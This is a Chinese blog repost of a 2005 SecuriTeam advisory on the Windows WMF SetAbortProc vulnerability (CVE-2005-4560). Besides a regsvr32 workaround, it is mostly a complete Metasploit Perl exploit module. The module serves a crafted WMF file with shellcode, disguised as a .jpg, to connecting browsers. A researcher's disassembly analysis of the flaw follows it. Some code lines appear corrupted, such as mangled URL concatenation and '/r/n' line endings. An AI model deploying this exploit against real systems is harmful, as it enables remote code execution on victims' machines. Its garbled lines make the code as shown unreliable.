Microsoft Windows Shimgvw.dll WMF (Exploit)

shimgvw.dll 可用于XP系统的美化,主要用于对系统中图片图标的美化。 立即下载
Microsoft Windows Shimgvw.dll WMF (Exploit)
------------------------------------------------------------------------


SUMMARY

A vulnerability in the way Microsoft's Windows parsers WMF files that
allows attackers to insert arbitrary code to the file and cause its
execution by crafting a malformed WMF file.

DETAILS

Workaround:
To Un-register the Windows Picture and Fax Viewer (Shimgvw.dll) that is
vulnerable do the following:
1. Click Start, click Run, type

regsvr32 -u %windir%/system32/shimgvw.dll

and then click OK.

2. A dialog box appears to confirm that the un-registration process has
succeeded. Click OK to close the dialog box.

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_xp_pfv_metafile;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;

my $advanced =
  {
  };

my $info =
  {
'Name' => 'Windows XP/2003 Metafile Escape() SetAbortProc Code
Execution',
'Version' => '$Revision: 1.6 $',
'Authors' =>
   [
  'H D Moore <hdm [at] metasploit.com',
  'san <san [at] xfocus.org>',
  'O600KO78RUS[at]unknown.ru'
   ],

'Description' =>
   Pex::Text::Freeform(qq{
   This module exploits a vulnerability in the GDI library included with
   Windows XP and 2003. This vulnerability uses the 'Escape' metafile
function
   to execute arbitrary code through the SetAbortProc procedure. This
module
   generates a random WMF record stream for each request.
}),

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,

'UserOpts' =>
   {
  'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
  'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
   },

'Payload' =>
   {
  'Space' => 1000+int(rand(1024)), # :-)
   },

'Refs' =>
   [
    ['BID', '16074'],
  ['CVE', '2005-4560'],
    ['OSVDB', '21987'],
  ['MIL', '111'],
  ['URL', ' http://wvware.sourceforge.net/caolan/ora-wmf.html'],
  ['URL', ' http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
   ],

'DefaultTarget' => 0,
'Targets' =>
   [
  [ 'Automatic - Windows XP / Windows 2003' ]
   ],

'Keys' => [ 'wmf' ],

'DisclosureDate' => 'Dec 27 2005',
  };

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
  LocalHost => $self->GetVar('HTTPHOST'),
  LocalPort => $self->GetVar('HTTPPORT'),
  ReuseAddr => 1,
  Listen => 1,
  Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
  $self->PrintLine("[-] Failed to create local HTTP listener on " .
$self->GetVar('HTTPPORT'));
  return;
}

my $httphost = $self->GetVar('HTTPHOST');
if ($httphost eq '0.0.0.0') {
  $httphost = Pex::Utils::SourceIP('1.2.3.4');
}

$self->PrintLine("[*] Waiting for connections to http://";. $httphost
":". $self->GetVar('HTTPPORT') ."/");

while (defined($client = $server->accept())) {
  $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

my $shellcode = $self->GetVar('EncodedPayload')->Payload;

# Push our minimum length just over the ethernet MTU
my $pre_mlen = 1440 + rand(8192);
my $suf_mlen = rand(8192)+128;

# The number of random objects we generated
my $fill = 0;

# The buffer of random bogus objects
my $pre_buff = "";
my $suf_buff = "";

while (length($pre_buff) < $pre_mlen && $fill < 65535) {
  $pre_buff .= RandomWMFRecord();
  $fill += 1;
}

while (length($suf_buff) < $suf_mlen && $fill < 65535) {
  $suf_buff .= RandomWMFRecord();
  $fill += 1;
}

my $clen = 18 + 8 + 6 + length($shellcode) + length($pre_buff) +
length($suf_buff);
my $content =
  #
  # WindowsMetaHeader
  #
  pack('vvvVvVv',
    # WORD FileType; /* Type of metafile (0=memory, 1=disk) */
    1,
    # WORD HeaderSize; /* Size of header in WORDS (always 9) */
    9,
    # WORD Version; /* Version of Microsoft Windows used */
    0x0300,
    # DWORD FileSize; /* Total size of the metafile in WORDs */
    $clen/2,
    # WORD NumOfObjects; /* Number of objects in the file */
    $fill+1,
    # DWORD MaxRecordSize; /* The size of largest record in WORDs */
    int(rand(64)+8),
    # WORD NumOfParams; /* Not Used (always 0) */
    0
  ).
  #
  # Filler data
  #
  $pre_buff.
  #
  # StandardMetaRecord - Escape()
  #
  pack('Vvv',
   # DWORD Size; /* Total size of the record in WORDs */
   4,
   # WORD Function; /* Function number (defined in WINDOWS.H) */
   0xff26, # Can also be 0x0026, 0x0626, etc...
   # WORD Parameters[]; /* Parameter values passed to function */
   9,
  ). $shellcode .
  #
  # Filler data
  #
  $suf_buff.
  #
  # Complete the structure
  #
  pack('Vv',
   3,
   0
  );


# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
 

# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);

 
$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending
payload...");

# Transmit the HTTP response
$fd->Send(
  "HTTP/1.0 200 OK/r/n" .
  "Content-Disposition: inline; filename=".
Pex::Text::AlphaNumText(int(rand(1024)+1)) .".jpg/r/n".
  "Content-Type: binary/octet-stream/r/n" .
  "Content-Length: " . length($content) . "/r/n" .
  "Connection: close/r/n" .
  "/r/n" .
  $content
   );

$fd->Close();
}


sub RandomWMFRecord {
my $type = int(rand(3));

if ($type == 0) {
  # CreatePenIndirect
  return pack('Vv',
   8,
   0x02FA
  ). Pex::Text::RandomData(10)
}
elsif ( $type == 1 ) {
  # CreateBrushIndirect
  return pack('Vv',
   7,
   0x02FC
  ). Pex::Text::RandomData(8)
}
else {
  # Rectangle
  return pack('Vv',
   7,
   0x041B
  ). Pex::Text::RandomData(8)
}
}


1;

__END__

Used with permission by san[at]xfocus.org:
------------------------------------------

The recent wmf vul is really fun, I found some interest things after
analysed it. I attached a very simple wmf file(64 bytes) which can crash
your explorer. You can simply change those 0xcc to your shellcode.

An attach wmf file constructs with a 18 bytes metafile header which
defined as following:

typedef struct _WindowsMetaHeader
{
  WORD FileType; /* Type of metafile (0=memory, 1=disk) */
  WORD HeaderSize; /* Size of header in WORDS (always 9) */
  WORD Version; /* Version of Microsoft Windows used */
  DWORD FileSize; /* Total size of the metafile in WORDs */
  WORD NumOfObjects; /* Number of objects in the file */
  DWORD MaxRecordSize; /* The size of largest record in WORDs */
  WORD NumOfParams; /* Not Used (always 0) */
} WMFHEAD;

and two data records which defined as following:

typedef struct _StandardMetaRecord
{
    DWORD Size; /* Total size of the record in WORDs */
    WORD Function; /* Function number (defined in WINDOWS.H) */
    WORD Parameters[]; /* Parameter values passed to function */
} WMFRECORD;

Somethings that we need to attention:

1. FileSize of _WindowsMetaHeader is in WORDs, don't forget to divide 2;
2. the attack file is larger than 64 bytes;
3. the last record always has a function number of 0000h, a Size of
00000003h, and no Parameters array;
4. the attack record has a function number of 0626h, which defined in
wingdi.h. 26h is important, it will flow to Escape function. I found
it will lead to SetAbortProc only the Parameters[0] is 0009h.

text:77C4B65C loc_77C4B65C: ; CODE XREF: PlayMetaFileRecord+43#j
text:77C4B65C ; DATA XREF: .text:off_77C769FE#o
text:77C4B65C push [ebp+uFlags] ; case 0x26
text:77C4B65F push ebx
text:77C4B660 call sub_77C4B68A
text:77C4B665 cmp eax, edi
text:77C4B667 mov [ebp+var_4], eax
text:77C4B66A jnz loc_77C4B424
text:77C4B670 mov ax, [ebx+6]
text:77C4B674 cmp ax, 0Fh
text:77C4B678 jnz loc_77C5FC0A ; flow to Escape
..
text:77C61062 loc_77C61062: ; CODE XREF: Escape+ECB7#j
text:77C61062 sub edi, 6
text:77C61065 jz short loc_77C61090 ; it flow to SetAbortProc only the
Parameters[0] is 0009h
..
text:77C543E7 loc_77C543E7: ; CODE XREF: SetAbortProc+54#j
text:77C543E7 ; SetAbortProc+10720#j
text:77C543E7 xor eax, eax
text:77C543E9 mov [esi+14h], edi ; write callback pointer?
..
text:77C604C8 owned: ; CODE XREF: sub_77C4B09C+1E4#j
text:77C604C8 mov eax, [eax+14h] ; the pointer
text:77C604CB cmp eax, ecx
text:77C604CD jz loc_77C4B286
text:77C604D3 push ecx
text:77C604D4 push edi
text:77C604D5 call eax ; got it

Best Regards
--
san <san[at]xfocus.org>


ADDITIONAL INFORMATION

The information has been provided by  < mailto:hdm@xxxxxxxxxxxxxx> H D
Moore.
The original article can be found at: 
< http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile> http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile
The advisory can be found at: 
< http://www.securiteam.com/windowsntfocus/6B0022KEKM.html>
http://www.securiteam.com/windowsntfocus/6B0022KEKM.html,
< http://www.securiteam.com/windowsntfocus/6A0012KEKI.html>
http://www.securiteam.com/windowsntfocus/6A0012KEKI.html
For more information: 
< http://blogs.securiteam.com/index.php/archives/163>
http://blogs.securiteam.com/index.php/archives/163
解决提示shimgvw.dll找不到或缺少的问题 立即下载

相关推荐

在已有win10系统下安装Ubuntu,最后出现执行‘grub-install/dev/nvme0n1p5‘失败的致命错误的解决方案

本人电脑型号戴尔灵越,两个SSD512G固态硬盘,c盘为系统盘. Ubuntu版本为20.04LTS,在官网下载https://ubuntu.com/download/desktop/thank-you?version=20.04.3&architecture=amd64 系统盘制作工具为Rufus-3.15http://rufus.ie/zh/ 安装过程网上很多,在这里就不赘述了. 其他安装过程都很顺利,直至安装最后出现这个 本来安装了到最后还以为成了,结果又不行...... 后.

XiaoChen_gugugu的博客 1万+

Windows系统缺少shimgvw.dll文件如何解决?

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或者损坏了,这时你只需下载这个shimgvw.dll文件进行安装(前提是找到适合的版本),当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此安装好之后就能重新打开你的软件或游戏了.那么出现shimgvw.dll丢失要怎么解决?

file 1177

PicoRV32 笔记 05

PicoRV32 本地总线接口

jjinl的专栏 1582

shimgvw.dll文件丢失导致程序无法运行问题

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个shimgvw.dll文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现shimgvw.dll丢失要怎么解决?

2301_76755223的博客 1054

Echats-wordcloud 文字云图的踩坑点【Unknown series wordCloud】

一直都是报 【ECharts Unknown series wordCloud】这玩意可能要刷脸,祝你好运吧~

Sky_Bug的博客 2420

通过轻量级图像增强Transformer (IAT) 提升YOLOv8在低光环境下的检测性能

随着深度学习和计算机视觉的快速发展,目标检测模型在各个领域中的应用不断扩展,特别是在低照度环境下的视觉任务。YOLOv8作为当前最先进的目标检测模型之一,在高亮度和良好照明条件下表现出色,但在低照度环境下的性能存在一定的不足。为了解决这一问题,我们提出了一种轻量级的低照度图像增强网络(IAT)来改进YOLOv8的暗光检测能力。本篇文章将深入探讨这一创新改进,并附带代码实现,帮助大家更好地理解这一技术的应用和效果。

博客 1219

如何调用 “WINDOWS 图片和传真查看器”

在WINDOWS XP中,“WINDOWS 图片和传真查看器”这个应该程序并没有一个真正存在的EXE文件,他是从一个DLL中调用而来的,具体调用方法如下:我们需要用rundll32.exe这个程序来运行含有这个功能的DLL(shimgvw.dll),并附加参数ImageView_FullScreen.  CString strSystemDir;  ::GetSystemDirectory

开发者小径 7697

ZYNQ Petalinux编译系统启动文件实战指南

本文提出的混合编译加速方案实测可将编译时间从45分钟缩短至18分钟,QSPI双启动方案已在工业控制领域成功应用。Xilinx官方UG1144文档(最新v2023.1版)正点原子《ZYNQ嵌入式开发实战》开源项目Meta-Petalinux(GitHub趋势项目)未来展望:随着Versal平台的普及,Petalinux将支持更多AI加速器原生驱动,值得持续关注。

QQ_778132974的博客 817

启动应用程序出现mprmsg.dll找不到问题解决

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个mprmsg.dll文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现mprmsg.dll丢失要怎么解决?

wbcmbfy的博客 3216

IPv6之001-IPv6是什么

技术本质:IPv6(Internet Protocol version 6)是互联网工程任务组(IETF)设计的网络层核心协议,用于替代IPv4核心使命:解决IPv4地址枯竭问题,重构互联网基础架构,支撑万物互联时代革命性特征fill:#333;color:#333;color:#333;fill:none;IPv6128位地址空间无状态自动配置原生IPsec加密协议头部精简。

老韩的Linux云计算架构师进阶之路 1404

飞牛fnNAS存储模式RAID 5数据恢复

中介绍了fnNAS存储空间的几个模式,细心的网友应该能感受到,我是非常推崇RAID 5的。但我认为,一般人出现1块硬盘损坏后,就能够赶紧采取处理措施了,再高的容灾等级也无法满足这个用户的需求了。》就完成了飞牛NAS存储空间的说明,包括了如何创建、怎么选择空间模式、RAID 5 硬盘故障后的更换、系统更换/重装后数据盘的恢复等等。在VMware中新建虚拟机,安装好fnNAS后,再向虚拟机添加“已有硬盘”(这就是所谓崩溃虚拟机的数据盘),此时新的fnNAS出现提示。在“选择要添加的硬盘”中,选择刚添加硬盘。

dgnankai的专栏 3014

Windows10找不到msvcr100.dll文件如何弄?

如果刚好要调用的这个dll文件被损坏或者缺失,那就会造成无法运行的情况发生,至于dll文件缺失的原因那就可能是病毒引起、人为的错误操作、非正常的关机等这三种情况造成的。下载安装完成后,打开软件,然后点击界面左侧的“文件下载”,接着在软件界面右侧文本框中输入我们要下载的文件名,然后点击右边的下载按钮。文件下载完成后,下方列表会有很多个不同版本的文件,这里我们根据自己所需要的版本文件,点击右边的“打开”,这样就找到了下载的文件。将64位文件,放到“C:\Windows\System32”这个文件夹里面。

2508_90661607的博客 1934

15、z/OS 优化配置与迁移实践

本文详细探讨了z/OS环境的优化配置与迁移实践,涵盖DASD存储库管理、用户目录更新、环境更新意义以及不同场景下的迁移案例。通过单笔记本系统和服务器级机器的实例,展示了迁移流程和关键要点,包括DASD文件创建、设备映射更新、系统重启初始化以及数据备份等步骤。文章还总结了迁移过程中的注意事项,并展望了未来z/OS优化的发展趋势,为z/OS系统的稳定运行和高效管理提供了实用指导。

zzz56的博客 137

【解决方案】windows win7 双击图片,不能通过照片查看器打开,有错误 “模块shimgvw.dll已加载,但找不到入口点DllRegisterServer ”

【环境】Windows 7 【现象】双击图片,不能通过照片查看器打开。 【错误信息】查系统日志,有如下消息:“模块shimgvw.dll已加载,但找不到入口点DllRegisterServer。(The module shimgvw.dll was loaded but the entry-point DllRegisterServer was not found.)”。使用命令 regsv

Anthony的专栏 3万+

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

修复“shimgvw.dll已加载,但找不到入口点”:从零开始的教程

shimgvw.dll已加载,但找不到入口点”这个错误信息通常出现在尝试运行某个应用程序或游戏时。DLL(动态链接库)文件是Windows操作系统中的重要组件,它们包含了一系列程序可以调用的功能。当系统加载了一个DLL文件后,却无法找到该文件中定义的函数入口点时,就会出现上述错误。

Xixix777的博客 1499

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

humxpm.dll hpz5r4wm.DLL HPRRST06.DLL hyprtshim24.dll hpqNwDr40.dll hppdpr12_x64.dll HPWFC32.dl

以上只是通用的运行库dll处理方式,如果你遇到缺失文件是第三方的软件文件,那么就需要下载到属于这个程序所匹配的版本的文件,然后将这个文件复制到这个程序的安装目录下才能解决问题。如果我们遇到关于文件在系统使用过程中提示缺少找不到的情况,如果文件是属于运行库文件的可以单独下载文件解决,但还是建议安装完整的运行库,可以尝试采用手动下载替换的方法解决问题!文件下载完成后,下方列表会有很多个不同版本的文件,这里所有文件都是免费可下载的,我们根据自己所需要的版本文件,点击右边的“打开”,这样就找到了下载的文件。

2503_92490392的博客 1605

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

模块shimgvw.dll已加载,但找不到入口点DllRegisterServer

<br />遇到过很多关于模块***以加载,但找不到入口点DllRegisterServer。还是那句话,微软报的错误,你一般是找不到错误的来源。但是中国人民会根据具体问题具体对待。比如如题所示的问题。很多网友给出了自己的方法。但很多网友都用了一些通用的或理论的或根据微软的提示做出的方案,比如:先卸载,再注册,分别运行 下面 2个命令:regsvr32 /u shdocvw.dll,regsvr32 shdocvw.dll。还有的网友提出比较暴力的手段---重装。但我本人觉得重装有时并不能解决问题。就像wi

goobycle 8万+

应用软件出现找不到wshimgvw.dll问题 丢失文件下载

在使用电脑时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visual C++运行库,比如像 QQ、迅雷、Adobe 软件等等,如果没有安装VC++运行库或者安装的版本不完整,就可能会导致这些软件启动时报错,提示缺少库文件。文件下载完成后,下方列表会有很多个不同版本的文件,这里我们根据自己所需要的版本文件,点击右边的“打开”,这样就找到了下载的文件。下面我们通过使用一款DLL修复工具免费下载需要的文件。

2508_90755225的博客 342

如何调试windows图片查看器

调试难点 1、主要是windows图片查看器并不是一个exe 2、没有文件-&gt;打开的功能 3、不能够附加 windows图片查看器可以这样打开 rundll32.exe C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen C:\xxxx.png 通过这样给调试器启动就可以了 ...

giantbranch的专栏 1255

Win10 查看 DLL 中的函数

软件中存在着大量以 .dll 为扩展名的文件,这些文件就是动态链接库(Dynamic Link Library),简称为 DLL 。DLL 可以使用不同的编程语言来编写,如 VB、C、C++ 等。 DLL 也可以被不同的编程语言调用,例如:可以使用 VB 调用 C 语言生成的 DLL 文件。确切的说是调用 DLL中的API函数。只要使用正确的调用格式,就可以直接调用不同语言写成的 DLL 中的函数。 本文将介绍 2 种查看 DLL 中函数的工具:dumpbin.exe 和 Dependencies Visu

qq_39220334的博客 4万+

微软将在 2027 年关停 To Do,个人用户需要另寻替代待办应用

微软宣布将于2027年6月30日停用To Do应用,取代方案为Microsoft Planner。尽管曾为用户从Wunderlist迁移提供便利,此次迁移却缺乏无缝支持,尤其对个人用户影响显著。Planner在离线功能、共享列表、文件附件及打印邮件等方面存在局限,且无原生桌面客户端。数据导出路径尚不明确,用户需提前规划替代方案。

jianlu365的博客 300
上一篇: 2005 packetstorm exploit
下一篇: Vulnerability in Graphics Rendering Engine Allows Remote Code Execution
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址